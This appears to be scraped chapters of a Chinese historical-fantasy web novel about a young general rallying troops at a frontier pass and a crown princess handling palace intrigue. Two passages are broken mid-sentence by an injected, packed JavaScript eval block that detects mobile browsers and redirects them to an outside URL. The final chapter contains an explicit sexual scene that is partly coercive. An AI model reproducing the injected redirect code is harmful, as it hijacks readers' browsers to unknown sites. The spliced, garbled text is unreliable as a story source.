楚甲子呼出的白气呵了满脸,湿漉漉得能挂霜。 他咬牙道:“我知道,落雁山乃是西行关要塞。我们不通西行关,转道落雁山往北。以京都战报抵京时日推算,燕门关没有石鸣春的动静,他必然带人沿秦连长墙向西北而去。” “你想拦截石鸣春北上?疯了吧。他那边是一人三骑,又有粮草。我们这一入山,别石鸣春没碰上,都死在落雁山里。” 冯萧不赞同道,“你没打过仗,不懂野外凶险。依我之见,还是按风太宰本意,西进寒雪关,察摩尔人的动态为上。” “如若这样,我们出来有什么意义?”楚甲子坚定眸色道,“寒雪关内的几大道府已被三方劫掠,西南月辉君也去过一遭。 你觉得那些道府内还有什么?人还是粮食? 若这些人逃,必然往北、往西南方向。西南进入胜争地界,以月辉君的野心必会收留这些难民。而往北,大片的丛山峻岭中只有一处能藏人。” “哪里?”冯萧有点佩服这个楚小将军了。 “小韩家关。”楚甲子记得祖父说过,小韩家关有一片世外桃源,那是一处通往北地的凹口,大军难行,但是小股快马骑兵没有问题。“石鸣春若不从燕门关过,必走小韩家关。只不过山坳难行,行路艰难,但是逃难的民众不会觉得苦。 楚荣……” “属下在。”楚荣上前道。 “你带钟叔和楚白在前探路,祖父说过,西行关前有一条道可以同落雁山里,正是当初凤栖将军攻打摩尔人的奇兵之道。” “是。”楚荣拉了马缰,喊了两人向前开道。 冯萧朝一脸肃正、不畏风霜的楚甲子道:“楚小将军,真有乃祖之风。” 楚甲子摇头,低声道:“这条小路是风瑶骑兵的创建者凤栖探出来,我楚家也是从风瑶骑兵里脱胎而来。” “是,楚家军与风瑶骑兵本就是两军一主,可惜,自季大将军被风家戕害后,一切都变了。”冯萧说到这,不免惋惜。 一侧听两人谈话的季飞扬眨了下眼,凝目在苍白的深山,嘲讽地笑了下。 半个月后,五千余骑入了落雁山深处。 他们看向苍白山间的烟火,面面相觑。 “这难道就是小韩家关里藏着的桃花源?”冯萧哈了声,拍在季飞扬的肩头,“好家伙,楚小将军厉害,你也不赖。英雄出少年啊。” “我们大批人马下山动静太大。这样,我和飞扬、凌云扮作兄弟,入村一探究竟。你们守在山坡,等我们归来。” “不妥,将军。请将楚荣也带上吧。”楚家的钟叔轻声道。 “冯某一起去。”冯萧朝身后的人叮嘱两句,就去换衣衫。 楚甲子和季飞扬对视一眼,互相点头,也去换了衣衫。 这一行人专门绕外山走了一圈,还掏了猫冬的野兔窝,提着它们穿过种麦的山田往山里走去。 村里人见这群外来人,挨家挨户拿出铁锹犁耙,凶狠地看着季飞扬一行人。 季飞扬一把将手里的凌云推了出去。 凌云跌跌撞撞地近前几步,发现拿铁锹的人往后缩了下。 他转身瞪了季飞扬一眼,朝这群人道:“叔叔,我饿了,有吃的吗?” 一名妇人推开前面的男人走出来,一把拉过凌云。她摸在小孩被风雪冻红冻硬的脸颊,怜惜道:“可怜的孩子。告诉姨姨,他们将你撸来吗?” 凌云摇头道:“哥哥,大哥哥,叔叔,表哥……逃难的……饿……” 村里的男人们审视了一番,又盘问几句,将这行人送入祠堂。 半个时辰后,季飞扬就打听到石鸣春的部队动向。 告诉他得不是村里的大人,而是拿着木棍玩打仗的小孩们。 季飞扬跑进祠堂,瞧着这群被村里男人监视的兄弟们,玩笑道:“三日前,石鸣春的队伍翻过前头的白岩山,往小韩家关去。听说,小韩家关已经弃用,年前冬雪压塌了山头,镇守的士兵都跑了,又说关门被大石堵住,北上之路被截断。不少难民就在这桃源外的东山落脚。村里人去救济过他们。” “这么说来,现在前往白岩山还有机会阻截石鸣春。事不迟疑,我们得行动起来。但是,此地通往白岩山的路……得找个向导。”楚甲子说道。 冯萧道:“这些村民这么提防我们……” “山里发现了马匹的行迹。”村里人不蠢,团团围住村里的祭祠,将楚甲子一群人围笼。 村人吆喝道:“骗子,你们是军人,来我们村做什么?抢粮食吗?” 楚甲子看着一群提着武器的男人,再及已经躲远的妇孺,高声道:“我叫楚甲子,乃是楚家军后人。” “你姓楚?楚刘素是你什么人?”村长站出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15059947|162979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道。 “正是家祖。”楚甲子坚毅的眸光环视窃窃私语的村民,“我听闻石鸣春的队伍前往小韩家关,他们所行带得是抢寒雪关三道府百姓的东西,必不能让他们带回北延。” “那些是从摩尔人手上抢来的东西。”村人里高声道,“便宜摩尔人,不如便宜大周军士。” “但是,石鸣春是带着退摩尔人的使命而来。他辜负朝廷对他的期望,我必要留下他,与他一起抗击摩尔人,将摩尔人打出寒雪关。” 楚小将军道,“诸位老丈、叔伯,石鸣春路过这,没有动你们,说明他还有大义。我不与石鸣春交锋,只是去劝说他。烦请帮忙带个路。” 村长迟疑了下,听着有人说楚老将军大义,护住我们村。他下了决定道:“可以。阿根你同楚小将军走一趟小韩家关。” 楚甲子的心激荡了下。 他回头点人,就见季飞扬陪着凌云再给小孩子们画图,不解道:“飞扬,你同我去小韩家关吗?” “不了。这地方还算安定。趁这时间,将工匠留下,在这里制作凤凰弩。”季飞扬说着,拉了一把胡子老长的村长,同他嘀嘀咕咕地论起来。 以他的三寸不烂舌还真给说动村长,遣村民帮忙伐木。 楚甲子和冯萧讨论过后,分了五百人,由村人带领向小韩家关奔去,余下的人听楚荣、季飞扬和凌云的安排。 村长看着忙起来的村民,叹了口气道:“桃源村代代不参与外头的事。可是,这次碰上了两尊曾对村落有救命大恩的佛,哎。” 季飞扬向他拱手,感激道:“多谢老丈。” “不必。谢你祖上吧。”老村长喊动村里的男女帮忙伐木。 在凌云的指挥下,村民以及他带来的工匠们一起开始削皮制作凤凰弩。 楚荣得命令,请一村民带路往东山奔去。 在东山,他召集不少流散在此地的楚家军,重新支棱起一只百来人的队伍。 楚甲子和冯萧在山顶看向下面搬石的北延骑兵。 他的目光落在那些劳作的难民、以及领粮饼的骑兵处。 冯萧道:“瞧这些北延兵,哪里是来护国,分明是抢劫。石鸣春的粮库在那边,瞧着这大小够支撑我们一段时间。怎么说,劝还是偷袭?” “必得打一场,才好坐下来说。不然,石鸣春不会肯服从。”楚甲子沉吟道,“但是,以我们的队伍也威慑不了北延兵。咱们这样做。” 片刻后,石鸣春的哨兵大声喊道:“不好了,狼嚎声。摩尔人……摩尔人来了。” 一时间小韩家关前兵荒马乱,辎重车辆都不要了,这些骑兵连马都不骑,拉开挡路难民们就想钻过那狭窄的通道。 松动的落石砸下来,一时间有三人被踩踏而死。 冯萧见着下面的慌乱状,讥讽道:“这石鸣春的队伍就这样?” “不对。应该是摩尔人太凶恶了。石鸣春必然吃了亏才退,这原本五千骑的数量已不足两千。”楚甲子的心沉了下,“走,咱们下去。” “你这样就去?”冯萧惊大了眼眸,愣怔地看着他带人下去,“意气用事啊!”他没动,埋伏在高处,等着楚甲子的信号。 石鸣春发现楚甲子一行人时,冷笑两声道:“原来是你搞的鬼。楚家人?楚家不去打摩尔人,到我们这里吓唬,围起来。” 楚甲子将手中的刀一扔,走近道:“石鸣春,你打算这样逃到北地躲起来吗?” “躲?”石鸣春好笑道,“燕门关被风瑶骑兵把持,我躲哪里去?他风子鸾怎么不让他的兵去西行关?” 楚甲子沉默了下:“你的骑兵还是有优势,摩尔人往寒雪关退了。” “那又如何?出其不意而已,可这出其不意让我失去了三千人。你知道狼骑的厉害吗?若不是他们不知道内陆深浅,又怎么会退?你且看着,这一次过后,他们有了准备,必定长驱直入,直冲京都。”石鸣春捡起地上的大刀,架在楚甲子的肩头,“我不杀你,你是楚老英雄的血脉。至于,你想做、你想要,我不会做,也不会给你。” “石鸣春!”楚甲子大声呵道,歪头夺刀就一拳揍去。 石鸣春哈了声,反手就打回来。两人赤手空拳在乱石上打作一团。 “京都西门,百姓、大臣,太女送行。他们说:送英雄,祝凯旋。你这算什么……你是狗熊。” “滚,狗熊也比白白没命好。你知道北延的情况吗?慕容涛为了准备南下,不顾百姓死活,抢收军粮,令不服者绕长墙北段去抢被摩尔人奴役的大周百姓。你说可不可笑,你当我想来?我是被逼无奈。”石鸣春也是积攒一股子的怒火,一拳砸在楚甲子的肚腹。 楚甲子反拽他的手,一脚踢在他的大腿内侧,将人踉跄地跌在地上。 他猛得一扑就将石鸣春压在身下,反扣他的手,龇牙咧嘴喷着血沫道:“北延人的规矩,服从强者。慕容涛要反那是他一个人的事。我且问你,跟不跟我我去寒雪关。去不去?” “不去。”石鸣春也大声道。 楚甲子一拳砸在他的肩骨,再次喊问:“去不去退摩尔人?” “不去。”石鸣春又大声道,脸颊被揍得嵌入乱石。 “摩尔人杀我祖父,屠我大周百姓,抢我大周民户,杀我兄弟亲友,你去不去?”楚甲子再次喝问。 石鸣春的血沫混着眼泪滑落石泥,扭着脖子要说,耳听属下喊了声。 “去。”那小兵站出来,朝满头血汗的楚甲子道,“楚将军,我跟你去。我喝过太女的酒,被他们送过行。我还活着,我同你去。”他又转头朝一些同仇敌忾的兄弟们喊道,“咱们在长墙北段同摩尔人打过多少仗?难道你们忘记了,我们也有兄弟死在他们的手上吗?这次我们将摩尔人冲散了,我们有了先机。趁现在赶往寒雪关,我们还有机会守关。” “对,我同楚将军去。”又有人站出来。 楚甲子的心一阵暖和。他明白了祖父说的话: “孩子,当你拼命去做一件对的事,就会有人来帮你。那时候,你就大胆去做。” “那祖父在做得就是对的事吗?”十二岁的楚甲子问晨练的祖父。 “嗯。保家卫国就是对的事。当你提刀上阵,驱除敌寇,那些你守护在后、生活在你守护得这片土地上的人都会来帮你。” 楚甲子松开钳住石鸣春的手,捡起大刀后别入腰间。 他吞下口里的血沫,嘲讽地看向石鸣春:“你个懦夫。” “呸。”石鸣春站起来,扭了下脖子,抹掉脸颊的血痕。 他看着那些个站出来的下属骑兵,哼笑道:“那些断手断脚,被狼咬断脖子的……你们没看见吗?” “石将军,我们肯跟你入关,就没打算活着回去。”斥候兵高声道。 “可我没想过风子鸾这么不是东西。一兵一卒一粮都不派。”石鸣春气狠了喊道。“就凭这点东西,我们能坚持几天?姓楚的,你考虑过这些兄弟一月后的场景吗?” “天无绝人之路。只要我们守住寒雪关,一定还有机会。”楚甲子高声道,“兄弟们,想去寒雪关得跟我走。” 那斥候拉起自己的马,准备跟着楚甲子。 一些被石鸣春救或抓来的难民也站起来,高声道:“我死也要死在家乡。我不去北地。” “我也要回家。” “回家。” …… 石鸣春背对一行人,看着余下的数百亲近,再及留下的粮食,咬牙道:“疯子。你们将食物带上,我们返回寒雪关。” “将军……”兵士们笑了起来,纷纷开始行动。 冯萧看了眼身后朝楚甲子道:“看不出来你小子这么能耐,将石鸣春打了一顿就说服了他们?” “不是我能耐,而是对摩尔人的仇恨已经刻进北延人的骨血。一旦有机会将他们揍一顿,北延士兵岂可能放过?北延三道府也深受摩尔人的威胁,不是吗?”楚 甲子回道,“如今,我们有了七千人,若是摩尔人真得退出寒雪关,我们守关定是没问题。但是,若是他们没退,那我们面临得就是……” “你怕了?”冯萧笑道。 “怕就不来这西地了。驾……” 楚甲子喊了一声,带头向桃源村行去。 21. 返京 *大金宫* “殿下,我……不……奴不离宫。殿下救了奴一命,求您让奴成为宫侍,为您效劳。”何丰跪在金簪的面前,重重地磕首恳求。 金簪凝眸望他,不解道:“多少人想要离开金宫,如今你有机会却不走?难道你想替梵阆报仇?” 【若是这样,孤不会应你。】 “奴知道姐姐之死怪不得殿下,所以奴不恨殿下。”何丰的眸光落地,轻声道。 “抬起头。”金簪的幽眸看入他的眼睛,沉声道,“孤不会让你伤害母后。” “奴不敢向皇后报仇。何况,以皇后的行事作风,日后自有人对付她。”何丰说完,等着金簪发怒。 然而,金簪没应声。 她已经不是懵懂的女孩,不存在侥幸的心理,不期待别人怎么样,而后自己才能怎么样。她学会抓住主动权,甚至知道纸包不住火,有些事迟早会爆发,如史书上记载得一桩桩旧案,最后都大白天下。 何丰因为诧异,紧绷了神色。他不懂金簪对此话没反应是什么意思。 他的眉眼生来就不语含笑,有一股天然的风流。 在望向金簪时,他的眸里有情且虔诚,连带额角那道极深的指长伤疤都被淡化。 疤痕怎么来?不难猜测是谁造成。 【即便这样,他都不向皇后报仇,也不是认命得那类人。】 “你以为孤会信你?孤不杀你是看在梵阆的份上。”金簪俯视何丰,蹙着眉,重申道,“离开金宫。” “不。不能。”何丰死也不愿意离去,但也不说出原因。 他跪在天机宫里等着金簪妥协。 这一跪就是两天。 杜鹃看不懂了,朝南叶吧唧道:“这人疯了吧,有机会却不走,非得留在这送死。这都跪两天了,以他那身子骨,弱不禁风的,怎么吃得消。” “倒了。快去禀告殿下。”南叶一拍杜鹃,向已经倒下的何丰走去,“来人,将他扶去偏房。” 待何丰醒来后,他又见到威严日重的太女,喃喃道:“殿下一定要有理由才肯收容奴吗?姐姐说,殿下是一个重情的人,但又害怕交付情谊。 殿下,您有空听下……我的故事吗?” 何丰转眸看向不语的金簪。她没有离开就是允诺的意思。 “我自有记忆就记得有一位姐姐。后来,我们爹娘过世,姐弟两人分别被叔伯卖了,随后在各种人的手中辗转。四年前,虎贲军副指挥王菊的家宴席上,我碰到陪紫琴君出席的姐姐。 姐姐想要替我赎身,就求紫琴君。 然则,次日,我就被副指挥王菊退货,说我是天理不容的怪物。他甚至都不杀我,怕脏了他的刀。后来,一位返乡的商贾买下我,将我带离京都。 入宫与姐姐相逢后,我才知道,她跪求紫琴君整整一夜,才让那个男人答应赎我。 可惜,我已经离开了。” 金簪听到紫琴君的名号,轻轻地蹙眉。她想象不出轩辕紫琴那样如风轻如云淡的人会这么铁石心肠。 随即,她极淡地笑了下。 【紫琴君,他姓轩辕。轩辕皇族,做出什么事都有可能。】 “待我再回京都,已经是龙阳道人手上最好的娈宠。因为我的特殊,他将我当做是奇货可居之物送给出征在外的太宰。龙阳道人以神仙术巴结太宰,太宰又将我和月舒、连带龙阳道人一起送给陛下。”何丰想起那段时日,眸光撇向床里,似无法面对般。 他暗吸口气,又说道:“在宫里的一年是我最开心的日子,因为我和姐姐重逢了。但是,好景不长,因为我得宠,遭到皇后的记恨,连累姐姐。皇后说我和姐姐通奸,要将我们抓起来。姐姐将我推了出去。她让我跑……我胆小,我怕挨打,怕饿肚子……我跑了。可是,姐姐后来被打死了。那时,我躲在乾明宫的帷幔下一声不敢吭。” 何丰想起那日的情节,滑落了后悔的眼泪。“殿下都可以为我姐姐向陛下求情,又求皇后开恩……而我却一直躲着不敢出来。我对不起姐姐。” “她不恨你。”金簪知道梵阆不恨旁人。 【因为梵阆连真正害死她的我都没恨上。】 何丰苦涩地笑了下,又道:“陛下离京,带走龙阳道人、月舒、妃嫔,独独将我遗落。我落在皇后的手上,被鞭笞被打骂、饿肚子、毁容……一月下来,待我习惯后,原来这些我曾惧怕的东西不过如此。唯一令我难过、日日反省得只有姐姐的出事,胆小懦弱的我没替姐姐说一句话,没有勇气向陛下求请。” 金簪记得那日的画面,这个人慌慌张张得从花园跑回来,还躲进乾明殿。 何丰继续道:“我被困在冷殿里得一月,心想:死也就这样了吧。我突然就不怕死了。可是,那日殿门开了,原来我还是贪生的,趁机逃了出来。我知道这一逃必是死,但是有什么分别呢?死在美丽的花园比死在偏冷的宫殿强吧? 我在花园被他们踹打、沉入花缸……心想:就这样吧。 我……可我被殿下捞了出来。” 何丰咬牙爬起来,挪入地上向金簪行礼。“殿下,何丰是死过一次的人。这世上已经没有何丰的亲人。 姐姐喜欢殿下,说殿下像是她的孩子。殿下就是奴的亲人。奴愿意在这个吃人不吐骨头的地方,成为殿下在宫侍群里得一把刀、一双眼睛,一对耳朵,求殿下将奴留下。” 金簪沉目地看着他。 【留下他意味同母后正面对抗。可以救他,却不可以留他在天机宫。】 尽管金簪相信他的故事,却不信他这个人。 不过,何丰在外面确实没有亲人,而且他提起梵阆时有几分令人动容。 梵阆出事那日,金簪去乾明宫求人,撞见他从花园逃回来。 那时的何丰慌张、惊恐,如只胆小的兔子。 【夜深人静时,我躺在梵阆的膝头,何尝不是将她当作亲人在寻求慰藉。】 “罢了,你既然想留在宫里就留下吧。不过,孤给得机会只有一次。倘若你背叛孤,除非孤死,不然就是你死。” 金簪说完,朝南叶吩咐,“带他去司侍大监处过个明路。” 南叶想要提醒金簪:皇后不会善罢甘休,为这个人已经两次上门。若是殿下真将人留在天机宫,怕是要与皇后结仇。 然而,南叶垂眸,殿下威严日重,说一不二。她转身看向不断磕首感激的何丰,敛去眸里的忧虑。 *寒雪关* 冰雪渐融,寒雪关露出它灰白的颜色。 冬天早来,春天早生,大地的生机不因战争而迟。 冯萧寻到楚甲子时,正见他站在墙头眺望关外,上前道:“这景象如何?” “关外六道府确实沃土,可惜摩尔人不懂经营。只将良田平原拿来牧草,放羊、养狼。 暂时没动静。”楚甲子应道,转头看向初升的太阳,喃喃道,“天气转暖了。” “嗯。关外雪水融化,他们应该没空来了。”冯萧看向在训练骑兵的石鸣春,一把拍在楚甲子的肩头,“前几此摩尔人来试探,你小子好样得呀,一点都不怕他们,连狼群的队伍都敢冲进去。楚家可只剩你一个男丁,悠着点。” “若是因为只剩一个人而不敢冲锋,我来这寒雪关做什么?”楚甲子呵笑了声。他抽出湛亮的大刀,抚摸上面的刀纹,“这把祖上传下的屠狼刀,我终于让它再次饱饮了。” “呵……”冯萧长出口气,接着问道,“风太宰曾来信过问,我只将寒雪关的实况说了。如今,我收到了他让我除了你的密函。” 楚甲子侧眸看他,眯眸道:“你待如何?” “石鸣春恐怕不会回北地。但是,他手下得一些人还会回去。若我说,你就带这些人去北地探探。而我也好上报有说法:说你逃了、死了。冬日时,你再回来守关。你觉得此计如何? 不过,此招风险极大,且看你信不信我。”冯萧说完,就这样肃穆地看着楚甲子, “毕竟我带的骑兵营里还有风子鸾的探子,得找出来拔掉。” 楚甲子望入他坚韧诚挚的眼神,不免垂眸,道:“但是,我楚家的兵……” “皆留下。按你发的太女诏令,敕为‘护国军’,你依旧是他们的统帅。”冯萧又道,“风子鸾可不一定真见过你。” 楚甲子懂了他的意思。 沉默了瞬,他握拳道:“轮到我休息了。”说完,他往城关下走去,没给冯萧明确的答案。 “这小子。也好,若是一根筋反倒不妙。”冯萧笑了下。 季飞扬遣走送信的人,将信纸塞入嘴巴里嚼碎入肚,转过屋角后看向一言不发走来的楚甲子,上前道:“守了一夜?无精打采了。” “无事。那日多谢你救我。不然,我就被狼兵吃了。”楚甲子一把箍住季飞扬的肩头,将他带进墙下营房。 “这算什么。咱两一起喝过花酒、爬过宫墙,一起退敌,过命的交情。哎,不如我们来结拜吧。如何?”季飞扬的眼眸发亮,拍在愣怔的楚甲子胸口,“拉上凌云。这家伙的武力不行,但有手艺、脑子还灵活。如何?” “好。我没兄弟姐妹,如今有你们两个弟弟可太好了。”楚甲子的愁绪随之散去,随季飞扬去寻凌云。 凌云正趴在图纸上酣睡,本圆润的小脸又尖又瘦,显露出硕大的眼眶。 他被摇醒后睁双迷瞪的大眼定定地看向讨厌的季飞扬,哼着鼻息道:“风弩要铁的,你没铁,我拿什么给你做出来?” “噗……”楚甲子和季飞扬笑了起来。 两人将来意一说,凌云突然睁大眼,咧嘴道:“好啊。” 三人跑到营中空地准备结拜。 石鸣春和冯萧耳闻后跟了过来。 石鸣春就道:“若不介意,加上我兄弟二人,如何?不为别的,就为大家能结成一心,镇守寒雪关。” 楚甲子三人面面相觑。楚甲子要拒绝,被季飞扬一把拉住了。 季飞扬上前道:“你二人一个是风太宰的人,一个是慕容涛的手下,若是我们这不同阵营的人结拜,就是兄弟,日后听谁呢?” 石鸣春看向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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其余人都喝了口,他才咽下去,随后猛地咳起来:“咳咳咳……嘶嘶……” “哈哈哈……”楚甲子等人都大笑了起来。 春生时节,像是一把大刷子图染了边塞地区。 大地回春,却无人烟。 躲在落雁山里的村民陆续返乡。他们带着桃源村民赠送的粮种和木制器械,开始重建家园。 楚甲子在营里演了一场戏,带伤逃出寒雪关。 一日后,他就带楚荣、以及几个亲近的兄弟到了西行关。 季飞扬和凌云也等在这。 楚甲子终于有机会在此地祭奠死去的祖父。他看着凌云将一块方木投入火堆,低声道:“你将它连同稿子都烧了?” 季飞扬替凌云答道:“这东西若是被人得了去,定生祸乱。” 楚甲子颔首道:“对。这样也好。石鸣春的部下通过小韩家关返回北延,我得带人去将那里毁了。不然,慕容涛可能借此关隘南下。” 季飞扬点头:“那我们就在前面分别。我带凌云返回京都。你可有书信带回去给老祖母?” 楚甲子取出两封信递给季飞扬:“一封家书,得让祖母在京中也演一番。日后,我不在京都,希望你帮我照看祖母。” 季飞扬点头道:“应该的。这另一封是?”他见信上无署名,猜测道,“给我梦中情人?” 楚甲子呵笑了声。 他想起那夜窗前的惊鸿一瞬,旋即道:“对。给她。不过我还是那句话,莫对她不规矩。凌云的祖父不是太女少保么,无需你翻墙入宫。” 季飞扬嬉笑了声,一拳垂在他的肩头。 几人随后上马,在西行关后的落雁山口分别。 凌云骑了一匹小马驹,朝季飞扬道:“回去后我想学武。” “啧,你不是最讨厌学武了吗?”季飞扬打趣句,随即道,“这样的世道,不学武恐连门都走不出去啊。” “嗯。祖父说:摩尔狼人可怕,我一直不理解。这次算是见识过了。他们的身材高大,一个人几有大周的一个半人,甚至一个人打十个精兵都不怕。 这样的队伍还有数十万人,我们怎么打得过他们呢?”凌云叹气道,“我听那些被他们驱使的大周死奴说:西六府三城现在已经有王庭、兵马。等他们彻底组建起来,秦连长墙根本挡不住他们。” 季飞扬颔首道:“凌云,快快长大吧。这片土地需要我们,需要更多觉醒的人来守卫。” “嗯。待我再大些,我就出关游历。祖父说:读万卷书不如行万里路。知己知彼百战百胜。”凌云高声道。 “好小子,有志向啊。”季飞扬从小马驹上一把抱过凌云,扣在马前后打马跑起来,“驾……” “你放开我,我自己骑。” “这小马带人跑太慢了。来时,你不也是我抱来得嘛?”季飞扬大笑道,“我这样跑起来,你不痛快吗?” “我长大了。”凌云巴拉季飞扬卡在腰间的手臂,硬是被他紧紧地箍在胸前。 快马迎风,砸在脸上有春天的舒爽微凉。伴随周边景物的倒退,凌云的声音也被风吹散了:“算了。老大没老大的样儿。哎……” 22. 识情 “殿下,如今城中骑兵横行,步兵闹街,京中百姓苦不堪言。”沈长清愤怒道,“这风子鸾为了笼络兵马,真真是不顾百姓死活。” 金簪无言,手中根本没有制衡风子鸾的人和力量。 凌飞躬身道:“禀殿下,紫琴君已经出发东都,欲迎帝回京。” 金簪的眸光凝定,瞧在凌飞的面上,颇有几分深不可测。 沈长清长吁短叹道:“若是陛下能够回京,尚且能制衡风子鸾,不失为一招好计。” 金簪明白了凌飞的用意。 【他希望紫琴君能将父皇接回来。以孤如今的形式无人可用、无器可使,又如何能制得住风子鸾的野心。】 “退下吧。” 凌飞在离去前看了眼寡言的金簪,满腹心事地离去。 【破坏殿下棋盘得正是她的子,不知道殿下是否会生气?如今形势,只能将陛下拖来挡在殿下的前面啊。】 金簪心中烦闷,独自入了舞凰殿。 她看向趴在暖地上春睡的美人,褪了束身的外袍,枕在莺歌的腿上。 莺歌吓了一跳,旋即反应过来是她,就松了口气。 她坐直身,抚摸金簪的鬓发,将她头上的冠、簪拔下,摸着撒开的如瀑丝发,悠悠道:“殿下又有烦心事?” “民间百姓上街,需带钱银才能买到东西吧?”金簪仰面看着莺歌美丽的脸,目光穿过她望向舞凰殿的拱顶。横条捭阖,一应有序。 “然而,孤手上连最基础的本钱都没有,什么也买不来。” “呵呵……我当是什么事。殿下怎么会没有本钱。”莺歌的手顺着金簪的长发至她的颈项,滑入金簪的衣领。 待金簪皱眉时,她停手未动,试探道,“殿下的本钱就在身上啊。” 金簪微张瞳孔,蹙眉道:“你真是越发胆大了。本钱……孤的身体?” “不不不……那多低俗啊。”莺歌扬眉,巧笑倩兮道,“殿下知道东西教坊的区别吗?” “一者官奴,一者官营民伎。”金簪撑地起身,看着她道。 “不错。东教坊的姑娘出身好,虽是官奴却被家里娇养过。所以,她们清高、傲气、自矜。这份清高有致命的吸引力,吸引权势越高越富有的男人们地追捧,便是坊间平民商贾提起她们都觉得高我们西教坊一筹。 然而,入了此籍、脱了衣服都一样,谁比谁高贵了去。” 莺歌抚摸金簪的衣领,柔声道:“在男人们眼里,凡是不娶回家都一样的。不过,她们到底不像我们西教坊,有做清馆的本事。西教坊的女子有再好的舞艺,一旦出台被拍,往后吃得就是皮肉生意的苦。” 莺歌的手绕过银簪的脖子将她带着躺在地面。 她覆在金簪的身上,四目相对见低首吻在她的颈项。 “你……大胆……” “呵……殿下怕什么?同为女子,我又不会吃了你。”莺歌瞧着她的眉眼,幻想她是男子,动情间眸里酝起水雾,将金簪都瞧愣了。 她含情笑道,“我只要一想到殿下是男子,又是太子那样的身份……我这心就扑通扑通直跳。殿下知道这是什么吗?” “什么?”金簪捂在被亲的脖子处,不妨被莺歌抽开内袍的衣带。 “我就想成为殿下的女人。因为那代表权利、地位、财富,以及无上的尊荣。”莺歌瞧着她的胸前浅粉色的肚兜,笑道,“原来殿下也用粉色。” 金簪一把推去,却被莺歌扣住双手压在地上。 “走开。”金簪怒道。 “殿下急什么?不是殿下说没有本钱嘛。殿下的本钱就是殿下自身,除了殿下的身体,还有殿下手中的权利、地位。这些难道不是本钱?”莺歌嘟囔道。 “这些东西有如同无。”金簪咬牙道。她想到无能改变的现状,又失了反抗的心力。 “那殿下错了。”在太女诧异的眼神下,莺歌嘻嘻笑道,“东教坊的地位在民间所有青楼、官办、私营中最尊。它尊在除了官这个名声,还有那些姑娘们自带的光环。 殿下没有实权,但殿下有名和本身学识这两样光环,可以征服天下九成九的男人。” 金簪好似懂了此中的利害关系,又蹙眉道:“孤乃是太女,何以用魅驱人?” “殿下果然灵慧。你管什么法子,好用就行。不过,殿下这魅是欠缺了些的,但殿下的本钱好,可要学?”莺歌诱惑地看着她,眸里跳动不明的光芒。 金簪想要拒绝,可是环顾形势,诚如莺歌所言。她所有的武器:不过是一个身份、一具身体。她甚至想起楚甲子入宫那夜的情形,那双火热的眼里有着她不懂的复杂情愫。 “什么是动情的眼神?”金簪问完后脑子一清,想要反悔已经被莺歌扑棱在地,“啊……” “情啊。这题莺歌最会了。”莺歌盈盈的双眸注视金簪,水润的樱唇启口吐蕊,“殿下啊……你这眸色是越来越干了,有时冷得像冰一样。这可不行哦。殿下得学会……演。” “演?”金簪压住心里泛起的不适,不解道。 “殿下已经知道男女最本质得那点事,就该知道男人想得无非是女人的身体。他们甚至不用管地方、时间,一旦动情就想要得到女人的‘爱’。女人是水做的骨,给了身还要掏心,那可亏大了。 所以啊殿下,动情,动得千万别是自己这里。”莺歌将手点在金簪的心口,打着圈,幽幽道,“殿下的身体可以动情……但是这心,不可以。” 她的手顺势滑入金簪的亵裤,被金簪一把握住了。 莺歌一点都不怕此时的金簪。她就像是一个急需了解春日懵懂的芳华女孩,而她在面对一个好学但有点羞怯的学生。 莺歌呵气如兰,醺了金簪一口香酥气息。 她拖长了音,妖魅且诱惑道:“放心,不进去也能让殿下尝到女子在云雨中的一番小乐趣,继而,殿下就知道怎么让身体动情而心……不动。” 金簪的手在莺歌妖魅、祈求信任的眼神下一松,那指尖就滑入了不可名状的地方。 莺歌的另一只手抚摸在金簪的眼角,吐气如兰道:“处子对于男人是一把好利器,对于我们女子却是一种束缚。殿下,你的眼里要含情。如我现在这样……嗯……啊……殿下要征服的男人会因此发情,继而为你发疯的。” “啊……你的手……嗬……”金簪捏紧内衫的衣角,不适地夹起大腿。 莺歌的手臂被箍住,却不妨她律动般跳舞的指尖像是尽情挥洒的笔墨。 她看着金簪动情的神色,俯首亲吻在她的颈项,另一手在她的身上游离。 即使这样,莺歌依然是冷静得在动情的女子。 她轻声说:“殿下得学会点火,让身体成为利器得最好办法就是成为它的殿下,再成为你要掌控的男人的主人。” “嗬,松手。”金簪想起自身会武,却发现四肢乏力。身上那女人像是蛇一样紧紧地缠着她的身体,令她酥软地提不起一点劲儿。 “啊……” 莺歌加快了指尖的舞蹈,待得金簪撑大双目,松了腿劲才取出湿漉漉的手。 她抚在金簪发痴含情的眼角,在她耳边吐气如兰地轻喃:“殿下记住这种感觉。它可以很假,也可以很真。当你真情假意之时,殿下就掌握了身体之器。” 金簪缓了几口气,有了力气撑地起身。 她恼怒地将莺歌一把推在地上,覆骑在莺歌的腰肢。她察觉到莺歌的身体从紧绷到眨眼松软如泥的变化。 这种变化是一种能力,久历情事的掌控力。 莺歌不慌,将手绕过金簪的脖子,还含笑将她拉低。 暖融的香气喷洒在金簪的耳边,她轻呵道:“殿下,来吧。奴家不是处子,你可以进去的……那里在迎接殿下。” 金簪含怒的双目凝在莺歌如春水漾漾的眼眸,心一缩,手忙脚乱地爬起来。 她捡起地上的外袍,慌乱地逃走了。 南叶见她衣冠不整地出来,诧异道:“殿下……” 金簪被春风一吹,缓了面上的紧绷。然而,紧张的心久久不能冷却。 她深吸口气将衣袍递给南叶,一言不发地等着。 南叶伺候她穿戴整齐,陪她离开舞凰殿。 这日过后金簪经常来舞凰殿,而莺歌也会在殿内。 随夏日到来,金簪的衣袍总是会被汗湿。 杜鹃在门外朝南叶道:“这不会又是另一个梵阆吧?若是那样,被皇后娘娘知道的话……” 